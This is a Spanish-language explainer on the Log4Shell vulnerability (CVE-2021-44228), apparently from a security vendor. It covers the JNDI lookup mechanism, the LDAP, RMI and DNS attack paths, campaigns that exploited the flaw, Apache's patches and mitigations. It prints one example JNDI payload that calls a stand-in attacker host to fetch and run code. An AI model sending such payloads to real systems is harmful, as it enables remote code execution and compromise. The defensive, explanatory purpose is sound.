¿Qué es Log4Shell?

Log4Shell (identificador CVE de vulnerabilidades y exposiciones comunes: CVE-2021-44228) tiene una calificación de 10 en el sistema de puntuación de vulnerabilidades comunes (CVSS), lo que denota una vulnerabilidad crítica. Es considerada una de las vulnerabilidades más peligrosas de la historia debido a su amplio alcance y consecuencias potencialmente devastadoras.

Se estima que el 10 por ciento de todos los recursos digitales, incluidas las aplicaciones web, los servicios en la nube y los endpoints físicos como los servidores, eran vulnerables a Log4Shell en el momento de su descubrimiento. Los hackers pueden usar Log4Shell para hacer casi cualquier cosa: robar datos (exfiltración de datos), instalar ransomware, capturar dispositivos para botnets y más.

Los investigadores de seguridad en la nube descubrieron Log4Shell por primera vez en noviembre de 2021. Apache lanzó un parche en diciembre de 2021, y todas las versiones de Log4J de 2.17.1 en adelante están libres de Log4Shell y sus vulnerabilidades asociadas. Sin embargo, la Agencia de Ciberseguridad y Seguridad de las Infraestructuras (CISA) informa de que Log4Shell sigue figurando entre las las vulnerabilidades más comúnmente explotadas. Log4J está omnipresente en la cadena de suministro de software, por lo que encontrar y corregir cada instancia vulnerable puede llevar años. 

Mientras tanto, los equipos de seguridad pueden tomar otras medidas para reducir la exposición de la red, que se analizan con más detalle a continuación.

Log4Shell afecta a Log4J, una biblioteca de registro de código abierto mantenida por Apache Software Foundation. Log4J es un registrador, un componente de software que registra información y eventos en un programa, como mensajes de error y entradas de usuario.

Log4J no es un programa independiente, sino un paquete de código que los desarrolladores pueden conectar a sus aplicaciones Java en lugar de crear registradores desde cero. Las principales organizaciones, como Apple, Twitter, Amazon, Microsoft, Cloudflare, Cisco y muchas otras, utilizan Log4J en sus software y servicios.

Log4Shell obtiene los resultados de cómo las versiones vulnerables de Log4J manejan dos funciones relacionadas: búsquedas de interfaz de directorio y nombres Java (JNDI), y sustituciones de búsqueda de mensajes. Cada característica por sí sola sería inofensiva, pero la interacción entre ellas da a los hackers un arma potente.

JNDI es una interfaz de programación de aplicaciones (API) que las aplicaciones Java utilizan para acceder a los recursos alojados en servidores externos. Una búsqueda JNDI es un comando que indica a la aplicación que vaya a un servidor y descargue un objeto específico, como una pieza de datos o un script. Las versiones anteriores de Log4J 2 ejecutan automáticamente cualquier código descargado de esta manera.

La sustitución de búsqueda de mensajes permite a los usuarios y las aplicaciones enviar variables a Log4J dentro de los mensajes de registro mediante una sintaxis específica: ${prefix:name}. Cuando Log4J encuentra esta sintaxis, resuelve la variable e incluye el valor en el registro. Por ejemplo, si Log4J recibiera un mensaje que dijera:

${java:version}

averiguaría la versión actual de Java que se ejecuta en el dispositivo. En el registro, anotaría: "Java versión X.XX".

Dicho de otra manera, Log4J no trata las sustituciones de búsqueda de mensajes como texto sin formato. Las trata como comandos y toma medidas basadas en lo que dicen. Los hackers pueden aprovechar este hecho para enviar comandos de búsqueda JNDI maliciosos a las aplicaciones que ejecutan versiones vulnerables de Log4J. Por ejemplo, un hacker podría enviar a Log4J una cadena como esta:

${jndi:ldap://myevilwebsite.biz/maliciouscode}

Cuando Log4J recibiera este mensaje, resolvería la variable comunicándose con el servidor en myevilwebsite.biz y descargando el objeto ubicado en /maliciouscode. Este proceso llevaría a Log4J a ejecutar cualquier código Java que el hacker hubiera escondido en esa ubicación, generalmente malware.

Los hackers pueden utilizar protocolos estándar para activar Log4Shell, lo que facilita la detección de tráfico malicioso. La mayoría de los ataques de Log4Shell utilizan uno de los siguientes protocolos: Protocololigero de acceso a directorios(LDAP) ; Invocación de método remoto (RMI); o Sistema de nombres de dominio (DNS).

LDAP se utiliza para almacenar datos en una ubicación central donde diferentes aplicaciones y servicios pueden acceder a ellos. LDAP es el método más común que utilizan los hackers para explotar Log4Shell. Un ataque típico funciona de la siguiente manera:

• El hacker configura un servidor LDAP y almacena código malicioso en él.
  
  
• El hacker envía una búsqueda JNDI a un programa utilizando Log4J.
  
  
• La búsqueda JNDI hace que el programa se comunique con el servidor LDAP del atacante, descargue la carga útil y ejecute el código.

RMI es una característica de Java que permite que una aplicación en un dispositivo le diga a una aplicación en otro dispositivo que haga algo, como compartir información o realizar una función. Los ataques RMI funcionan de manera similar a los ataques LDAP: los hackers configuran un servidor RMI, engañan al objetivo para que se conecte a su servidor y envían comandos maliciosos al objetivo.

Los ataques RMI no son muy comunes, pero algunos hackers están cambiando a RMI porque cada vez más organizaciones bloquean el tráfico LDAP por completo.

Los hackers usan DNS para buscar objetivos. Envían una búsqueda JNDI a un programa, diciéndole que se conecte a un servidor DNS que los hackers controlan. Si el servidor DNS registra una conexión del programa, los hackers saben que el sistema es vulnerable a otros intentos de explotación de Log4Shell.

Debido a que Log4Shell permite a los hackers ejecutar código arbitrario, los delincuentes cibernéticos pueden usar la falla para lanzar una variedad de ataques. Log4Shell también fue una vulnerabilidad de día cero en el momento de su descubrimiento, lo que significa que los hackers comenzaron a explotarla.

Algunos de los primeros ataques de Log4Shell infectaron computadoras con criptojackers, un tipo de malware que utiliza un dispositivo para extraer criptomonedas sin el conocimiento del propietario. La botnet Mirai también ha utilizado la falla para hacerse cargo de los dispositivos.

Varios ataques de ransomware han aprovechado Log4Shell. Las más destacadas incluyen la cepa Khonsari, que se propagó a través del videojuego Minecraft, y NightSky, que se dirigió a los sistemas que ejecutan VMware Horizon.

Los agentes de acceso han utilizado Log4Shell para establecer puntos de apoyo en redes corporativas de alto valor, a menudo mediante la colocación secreta de troyanos de acceso remoto (RAT) en sistemas comprometidos. Los intermediarios de acceso venden estos puntos de acceso a afiliados de ransomware como servicio  o a otros hackers en la dark web.

A medida que Apache trabajaba en parchear Log4Shell después de su descubrimiento, salieron a la luz algunas fallas relacionadas. En última instancia, se necesitaron cuatro parches para reparar completamente Log4Shell y todas las vulnerabilidades asociadas.

El primer parche que lanzó Apache, la versión 2.15.0 de Log4J, cerró gran parte de la vulnerabilidad de Log4Shell. Sin embargo, los hackers podían seguir enviando búsquedas maliciosas de JNDI a sistemas que utilizaban ciertas configuraciones no predeterminadas. Apache solucionó esta falla con la versión 2.16.0 de Log4J.

La versión 2.16.0 también resultó ser incompleta. Los piratas informáticos podrían utilizar búsquedas de mensajes maliciosos para enviar sistemas vulnerables a recursiones infinitas, lo que provocaría ataques de denegación del servicio. Apache lanzó la versión 2.17 para arreglar esta falla.

Menos grave que las demás, esta falla permitió a los hackers ejecutar el código de forma remota, pero primero necesitaban obtener permisos elevados y configuraciones de registro de cambios. Apache abordó esto con un cuarto parche, Log4J versión 2.17.1.

Los investigadores de seguridad recomiendan encarecidamente que las organizaciones prioricen la actualización de todas las instancias de Log4J en sus redes a la versión más reciente, o al menos a la versión 2.17.1. Parcheo es la única manera de remediar Log4Shell completamente.

Sin embargo, es posible que los equipos de seguridad no puedan parchear todas las instancias de Log4J en sus redes de inmediato. Las instalaciones vulnerables de Log4J a menudo están presentes como dependencias indirectas, lo que significa que los activos de la compañía no usan Log4J, sino que dependen de otras aplicaciones y servicios que sí lo hacen. Según Google, las instancias de Log4J más vulnerables tienen más de un nivel de profundidad, y algunas tienen hasta nueve niveles de profundidad.

Cuando Log4J es una dependencia indirecta, resulta mucho más difícil para los equipos de seguridad localizarla. Cuando la encuentran, es posible que no puedan parchearla, dependiendo de dónde exista. Si Log4J está oculta en un paquete de software utilizado por una aplicación de terceros, el equipo de seguridad necesitará que el proveedor actualice Log4J por su parte.

Incluso cuando Log4J está presente como una dependencia directa, puede ser difícil de detectar. El proceso de desarrollo de software es muy complejo hoy en día, ya que depende de grandes equipos y de una gran variedad de código preexistente. Es posible que los desarrolladores no se den cuenta de que sus aplicaciones contienen versiones vulnerables de Log4J, ya que esas instancias pueden estar dentro de paquetes de software preescritos que los desarrolladores no codificaron ellos mismos.

En diciembre de 2022, el 25 por ciento de las descargas de Log4J aún eran vulnerables a Log4Shell, lo que significa que las personas están usando versiones obsoletas de Log4J para crear nuevos activos.

Log4J es tan ampliamente utilizado en la cadena de suministro de software que encontrar y arreglar cada instancia vulnerable llevará al menos una década, según el Departamento de Seguridad Nacional de Estados Unidos.

Mientras tanto, los equipos de seguridad pueden tomar otras medidas para reducir la exposición de la red.

Los equipos de seguridad pueden desactivar las sustituciones de búsqueda de mensajes en Log4J, por lo que Log4J trata los mensajes de los hackers como texto sin formato en lugar de comandos para ejecutar.

Hay dos maneras de hacerlo: cambiando el "Log4J2.formatMsgNoLookups" propiedad del sistema a "verdadero" o establecer el valor de la variable de entorno LOG4J_FORMAT_MSG_NO_LOOKUPS en "verdadero".

Tenga en cuenta que las versiones sin parches de Log4J aún sufren de CVE-2021-45046, lo que permite a los hackers enviar búsquedas maliciosas de JNDI cuando se utilizan ciertas configuraciones no predeterminadas. Prohibir las búsquedas de mensajes no es, por lo tanto, infalible.

Las aplicaciones Java utilizan clases para definir lo que puede hacer un programa. En Log4J, la clase "JNDIlookup" gobierna las búsquedas JNDI. Si esta clase se elimina del directorio de clases de Log4J, también conocido como la ruta de clases, ya no se pueden realizar búsquedas JNDI.

La eliminación de búsquedas JNDI evita que los hackers envíen comandos maliciosos, pero también puede afectar otras funciones de Log4J y las aplicaciones que lo utilizan. También puede ser difícil asegurarse de que se eliminen todas las instancias de la clase.

Las organizaciones pueden utilizar cortafuegos y otras herramientas de ciberseguridad para bloquear el tráfico desde activos vulnerables conectados a internet hasta servidores controlados por atacantes. Por ejemplo, los equipos de seguridad podrían establecer reglas para no permitir todas las conexiones que utilicen los protocolos LDAP o RMI.

Bloquear el tráfico saliente en lugar del tráfico entrante ayuda a evitar falsos positivos, ya que los proveedores e investigadores de seguridad pueden escanear activos para encontrar instancias persistentes y sin parches.

La desventaja es que los cortafuegos pueden bloquear o frustrar las conexiones salientes necesarias, especialmente si una organización utiliza LDAP o RMI por razones legítimas.